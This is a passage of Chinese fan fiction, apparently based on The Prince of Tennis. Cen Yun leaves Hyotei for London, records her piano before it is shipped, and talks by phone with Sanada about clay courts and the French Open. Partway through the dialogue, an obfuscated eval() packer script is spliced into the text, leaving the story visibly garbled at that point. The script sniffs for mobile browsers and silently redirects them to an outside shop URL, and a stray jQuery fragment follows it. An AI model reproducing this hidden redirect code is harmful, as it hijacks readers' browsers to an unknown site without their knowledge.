四月底,岑韵开始正式办理离开冰帝的手续。
严格来说,她已经是高中部二年级的学生了。新学年开始以后,她照常换了新的课程表,领了教材,在新的教室里坐了几个星期。然后不到一个月,她又开始把刚刚拿到的东西一件件交回去。教务处给她的退学手续表上列着很长一串需要确认的项目。图书馆借阅已经清零,班级储物柜要在离校前腾空。
手续本身并不复杂。
坎贝尔女士在英国驻日大使馆的任期将在四月底结束,她计划五月份返回伦敦。学校对这种情况并不陌生。真正需要花时间的反而是成绩记录、课程证明,以及之后转入英国学校可能用到的各种文件。
班主任拿到她的退学申请时,还是看了她好一会儿:“虽然早就听说了,但真的交过来还是觉得有点可惜。”
岑韵坐在办公桌对面:“我也觉得有一点。”
“只有一点?”
“现在说很多也没有用。”
老师笑了一下。这倒确实很像她。
冰帝这几年里接收过不少国际学生,也见过因为父母工作变动而离开的学生。学校没有把这件事处理得过分伤感。班主任只是仔细确认了她之后的学校和课程安排,又提醒她离开以前把图书馆、社团和教务处需要签字的地方全部处理完。但临走以前,老师还是说:“去了伦敦以后也要好好学。”
“会的。”
真正表现得比她本人更高兴的是数学老师。
岑韵把英国学校的正式录取确认拿给他看时,对方几乎立刻把学校名字重新确认了一遍,随后问的不是“什么时候走”,而是:“课程表拿到了吗?”
“拿到了。”
“高等数学怎么安排?”
岑韵从文件夹里把打印出来的课程说明抽给他。
老师站在办公桌旁边看了很久,最后只说了一句:“很好。”
岑韵原本还以为他至少会象征性地表达一点遗憾,结果等了半天,只等到这两个字,忍不住提醒:“老师,我要退学了。”
“我知道。”
“你是不是一点都不难过?”
数学老师终于从课程表上抬头:“为什么要难过?你留在这里,我能教你的东西本来也越来越少。”
他说得非常平静,并没有故意夸她。
过去一年,岑韵的数学课程已经逐渐和班级里其他学生分开。很多时候,她照常坐在教室最后一排,真正做的却是远超课程内容的题。再往后继续,就算冰帝愿意单独调整课程,学校本身能够提供的环境也终究有限。
“你不是只需要学得更快。”老师把课程说明还给她,“你需要去一个周围的人也愿意花几个小时讨论同一道题的地方。”
说完,他停了一下,又看着她说道:“你的天赋很好。不要浪费。”
这句话反而让岑韵有一点不习惯。对方平时很少用这种方式评价她。她安静了一会儿,才说:“我会继续学。”
“这就够了。”
=====
桐生老师的反应没有数学老师那么轻松。
岑韵把确定回伦敦的事情正式告诉她时,两个人刚结束那天的课。肖邦比赛以后,她们重新调整过一段时间的练习计划。比赛期间为了舞台准备被不断放大的部分终于重新沉下来,岑韵也开始把一些暂时搁置的作品重新捡回来。
桐生老师合上谱子,沉默了几秒才问:“五月就走?”
“月初。妈妈的任期四月底结束,家里的东西也已经开始处理了。”
桐生老师点点头。她当然知道原因。
岑韵拿到的也不是一个可以轻易说“不值得去”的机会。桐生绫子教了她近三年。这期间,这个学生同时在钢琴、数学和游泳上往前走,而且奇怪的是,没有任何一件事明显只是陪衬。这也是最让人遗憾,却又很难真正阻止她的地方。
如果岑韵只会弹钢琴,桐生大概会认真劝她考虑东京艺大附属。
可她不是。
“所以你以后准备把钢琴放到什么位置?”桐生老师问得很直接。
岑韵想了一会儿:“我不知道。新学校课程会很满,我肯定没有现在这么多时间。但是我还是想继续学,也想继续演出。如果有合适的比赛,我应该也会参加。”
她没有用“我一定不会放弃”这种很漂亮却过早的答案。
桐生老师看了她一会儿:“这已经不算放弃了。”
岑韵笑了一下:“我也觉得。”
“只是会走得慢一点。”
“可能吧。”
桐生老师没有要求她保证每天练几个小时,也没有告诉她必须在多少岁以前继续参加什么比赛拿什么奖。她只是问:“老师找了吗?”
“还没有。”
“那我来问。”
岑韵抬头。
“我在伦敦认识几个人。”桐生老师把手里的谱子放到一旁,“有在音乐学院任教的,也有自己演出、平时单独收学生的。风格不一样,我先联系他们,再看谁比较适合你。”
“会不会太麻烦?”
“不会。”
桐生老师看她一眼:“你总不能到了伦敦以后自己在网上搜‘钢琴老师’。”
岑韵一下笑出来:“我本来还真的想过。”
“不要想了。”桐生老师看她一眼,“而且你现在已经不是随便找一个能教高级曲目的老师就行。你需要有人知道你想继续到什么程度,也接受你不是只做钢琴。”
岑韵安静下来。
这句话其实很重要。
过去几年,桐生老师大概比很多人都更清楚,她真正麻烦的从来不是不够努力,而是她一直不愿意把自己完全压进一种单一身份里。
“我会跟他们说明。”
“嗯。”
“你过去以后先见几个。不要因为是我介绍的就觉得一定要选。”桐生想了想,继续补充:“比赛型的老师不一定适合你。”
岑韵抬头。
“如果对方第一句话就是要求你把其他事情全部停掉,那就不要。”
“这么直接?”
“不然你们三个月以后还是会吵起来。”
桐生老师重新把她下一首正在练的作品翻开,“还有两周。”
岑韵看着谱子。
“嗯。”
“那就先把这两周上完。”
岑韵看着谱子,笑得明显了一点:“好。”
=====
家里的变化比学校更明显。
四月底以后,纸箱开始越来越多地出现在客厅和走廊。
坎贝尔女士在日本任职几年,真正属于这个家的东西远比刚搬来时多。书、衣服、餐具、文件,还有一些谁都说不清为什么会留下来的小东西,需要决定带回英国、寄走,还是直接处理掉。
岑韵自己的房间尤其麻烦。
她在东京几年里积下来的谱子和书几乎装满了两面柜子。数学书还能按照“必须带”“以后再看”和“根本不知道为什么买了”分成几堆,乐谱却很难处理。
她经常坐在地板上,拿起一本,翻几页,又把它放进“带走”的箱子。结果两个小时过去,真正被淘汰的只有三本。
坎贝尔女士站在门口看了一会儿:“你这样最后会全部带回去。”
岑韵头也没抬:“乐谱又不占地方。”
“你的纸已经装了六箱。”
“那是书。”
“乐谱和书都是纸。”
“意义不一样。”
坎贝尔女士没再和她争。
真正最早安排好去向的,是音乐室里的钢琴。
那架贝希斯坦三角钢琴原本就来自伦敦。坎贝尔女士当年来日本赴任时,因为Leo有时会弹,而第二年跟过来的女儿更是需要大量练习,干脆让人把它从伦敦的家里一起运了过来。几年过去,它几乎已经成为岑韵对东京这个家的声音记忆里最固定的一部分。
现在,它要原路回去。
运输公司安排在五月初上门。坎贝尔女士把运输公司的确认邮件转给她以后,岑韵便开始大量录音,把以前弹过的作品一首一首重新翻出来。
和之前准备给真田的那张CD时完全不同。那一次她录的是自己想留给真田的东西,曲目之间更多跟记忆和情绪有关。这一次,她反而认真做了分类。
巴赫、海顿、莫扎特和贝多芬分别放进不同文件夹。肖邦最多,又按体裁继续分成夜曲、圆舞曲、马祖卡、练习曲,还有几首大型作品。之后是舒伯特、勃拉姆斯、福雷、拉威尔、斯克里亚宾,以及一些她这些年练过、后来很少再弹的短曲。
她甚至给每一份录音都标了日期。有时完整录完一首,有时只录一个乐章。状态不好时,她也不会为了一个小地方反复重来,只在文件名后面标记take 1或者take 2。
她想留下的只是这架钢琴在这间房子里的声音。
四月底的下午,窗外已经很像春天。阳光从落地窗斜着照进来,客厅里还有没封好的纸箱。录音设备摆在钢琴旁边,琴盖打开,偶尔能听见搬东西时从楼道传来的声音。
这些其实都不适合正式录音,岑韵却没有关窗。
她甚至有一次弹到中间,外面远远传来汽车鸣笛。录完以后,她戴着耳机听了一遍,最后也没有删掉。
她只是觉得,那本来就是这里的声音。
这段时间,她白天处理学校和各种离开日本前的手续,剩下的大部分时间几乎都给了钢琴,连数学都暂时退到了后面。那本爸爸从上海寄来的厚教材已经有好几天没有继续往下看,书签停在原来的地方。岑韵每次经过书桌都会想“晚上再看”,到了晚上却又坐回钢琴前。
直到有一天,真田在电话里问她最近在做什么。
“录音。”岑韵把手机靠在谱架旁边,自己坐回琴凳上。“这架琴下个月要先运回伦敦。”
电话另一边安静了一下。
“它本来就是妈妈来日本的时候从伦敦运过来的,现在只是运回去。”
真田嗯了一声。
“所以我想趁它还在这里,多录一点。”
“回伦敦以后不是还会弹?”
“那不一样。”
“哪里不一样?”
岑韵想了想:“房间不一样。钢琴本身当然还是同一架,可房子的声音会变。墙、地板、窗户,连空间大小都不一样。”
她伸手按了一下中音区的一个键,声音在客厅里散开。
“以后就听不到它在这里是什么样了。”
这一次,真田没有再问,只问她已经录了多少。
“很多,差不多把以前弹过的都翻出来了。”岑韵自己说完都笑了一下,“我现在比准备比赛还忙。”
“数学呢?”
“暂停。”
真田沉默了一秒,才很慢地说:“你是因为数学才回去。”
岑韵立刻说:“所以只是暂停。”
“嗯。”
“你不要用这种语气。”
“什么语气?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17873509|209411||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“觉得我三天没看数学就要出问题的语气。”
“我没这么说。”
“你想了。”
真田没有回答。
岑韵靠在琴边笑了一会儿,才问起他那边:“所以红土怎么样?”
真田此时已经重新回到欧洲。
四月初的J300,他一路打进决赛,最后拿到亚军。之后教练组没有再让他回日本,而是直接留在欧洲继续红土训练和比赛。现在这一站是J500。他已经进入八强,第二天要打四分之一决赛。
真田讲起红土时,回答依然完全从比赛本身开始。
球速比硬地慢,弹跳更高,旋转效果更明显。很多在硬地上可以直接结束的球,在红土上会多出一次甚至几次防守机会。移动也不同,急停和重新启动的方式需要调整,长回合明显增加以后,对每一拍选择的要求也会跟着变化。
岑韵听了一会儿,关注点却完全偏到了另一个方向:“所以你现在是不是每天鞋子都是红的?”
电话那边停了一下:“什么?”
“红土啊,”她很认真,“是不是白色鞋子最后都会变成红色,而且洗不掉?”
真田沉默了两秒:“……是。”
岑韵一下笑起来:“真的洗不掉?”
“能洗掉一部分。”
岑韵笑了很久,终于把问题重新拉回比赛:“那法网呢?你现在是不是已经差不多能进正赛了?”
她最近其实一直在关注真田的比赛。三月上旬的J300四强,四月上旬红土J300亚军,再加上这一站J500目前至少已经进入八强,真田这一段青少年赛事的成绩比年初计划得还要顺利。
“按照现在的排名和这几站积分,应该没有太大问题。”真田没有把话说死,但语气已经明显比之前确定。
岑韵靠回琴凳。
“所以真的会去巴黎。”
“嗯。”
“然后五月初你还要去德国?”
“Offenbach。”
“跟幸村一起?”
“嗯。”
那一站两个人都会同时报名单双打。除了继续补足自己的青少年成绩以外,也需要在法网以前重新把双打配合拉回来。过去几个月他们的赛事路线已经明显分开,真正一起比赛的机会并不多。
“我们都会打单打。”真田说,“双打也报了。”
岑韵安静了一会儿:“所以你还是不会回日本。”
“不会。”
这句话现在已经没有几周以前那么难接受。岑韵低头看了一眼钢琴旁边堆着的纸箱。她很快也不会在日本了。
两个人隔着电话安静了一会儿,岑韵突然说:“那我去法国看你比赛。”
真田那边停顿一下:“法网?”
“对。”
“你刚回伦敦。”
“那又怎么样?”
“刚搬家事情会很多。”
“我又不用自己搬钢琴。”
真田显然想说的不是这个。
岑韵已经继续往下算:“伦敦去巴黎很近。而且学校九月才开学,我本来就有时间。”
她说到这里,自己忽然笑起来:“这样想的话,我搬回伦敦以后,说不定反而更容易见到你。”
真田没有马上说话。
岑韵越想越觉得这件事确实有一点荒谬。
他们在日本的时候,真田整个春天都在欧洲比赛。她留在东京,只能等他回去。等她真的搬回伦敦,他反而会长期在欧洲跑比赛。法国、德国、西班牙,甚至以后英国本身也会有赛事。
“你看。”她说,“我之前哭成那样,好像我要搬到另一个世界。”
真田安静了几秒:“还是很远。”
“但是比东京到欧洲近。”
“嗯。”
“所以我要去巴黎。”
“好。”
这一次答得很直接。
岑韵笑了:“你都不问我有没有票?”
“还没出签表。”
“那你要先进正赛。”
“会。”
她愣了一下。真田很少在比赛结果还没有完全确定的时候这样回答。不是“尽量”,也不是“应该”,只是很平静的一句“会”。
岑韵靠在钢琴旁边,嘴角慢慢弯起来:“那我等你。”
电话另一边安静了一瞬,随后真田说道:“嗯。”
窗外已经完全暗下来。音乐室里只开着钢琴旁边的一盏灯,琴盖里映出很浅的暖色。岑韵看了一眼录音设备,忽然想起自己刚才还有一首没有录完。
“我要继续弹了。你明天几点比赛?”
真田告诉她大概时间。岑韵在心里换算了一下东京时差。
“我应该看不了直播。”
“没关系。”
“打完告诉我。”
“我会。”
电话快挂断时,岑韵又突然想起一件事:“对了,给我拍一下你的鞋。”
电话那边彻底安静。
岑韵忍着笑:“我想看看到底有多红。”
过了两秒,真田才说:“知道了。”
夜里,岑韵结束最后一段录音时,手机亮了一下。
真田发来一张照片。
白色网球鞋已经几乎看不出原来的颜色,鞋底和鞋面边缘全是红土。照片拍得非常随便,显然只是训练中心或者酒店门口随手拍的。
岑韵看着那双实在谈不上好看的鞋,笑了很久。
然后把照片存了下来。